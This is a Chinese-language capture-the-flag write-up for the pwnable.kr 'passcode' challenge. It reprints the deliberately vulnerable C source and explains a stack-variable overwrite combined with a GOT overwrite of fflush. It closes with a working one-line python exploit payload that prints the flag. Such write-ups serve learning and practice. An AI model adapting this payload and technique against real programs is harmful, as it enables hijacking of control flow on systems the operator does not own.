pwnable.kr之passcode
passcode这道题目,和我之前看《0day安全》时,做过的一个实验很类似,开始运用到的原理都是栈区内变量的覆盖。之前类似的题目也有接触过。
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking... "); if(passcode1==338150 && passcode2==13371337){ printf("Login OK! "); system("/bin/cat flag"); } else{ printf("Login Failed! "); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s! ", name); }
int main(){ printf("Toddler's Secure Login System 1.0 beta. "); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :) "); return 0; }
题目给出源码,如下图所示
welcome函数中,输入的空间比较大,有100个字节。scanf在输入passcode1和passcode2的时候没有加取地址符,我们没有办法的得知这两个变量的地址。
name的起始地址在[ebp-0x70]函数处,passcode1位于[ebp-0x10]处,之间相差96个字节。welcome函数中如果要输入100个字节的话,最后四位可以覆盖掉passcode1的地址,我们可以控制passcode1写入的地址。
这时候用到的技巧就是覆盖got表地址。由于后面fflush函数会清空缓冲区的输入,把passcode1的地址覆盖为fllush函数的地址,然后后面scanf的时候,我们就可以修改fflush函数地址上保存的值为system("cat flag")的地址。
这时候,在调用fllush函数的时候,就会跳转到0x080485e3去读取flag。
ssh连接后,直接与程序进行交互即可
python -c "print 'a'*96+'x04xa0x04x08'+' '+'134514147'"|./passcode
关键:栈区内变量覆盖和覆写got表技术相结合。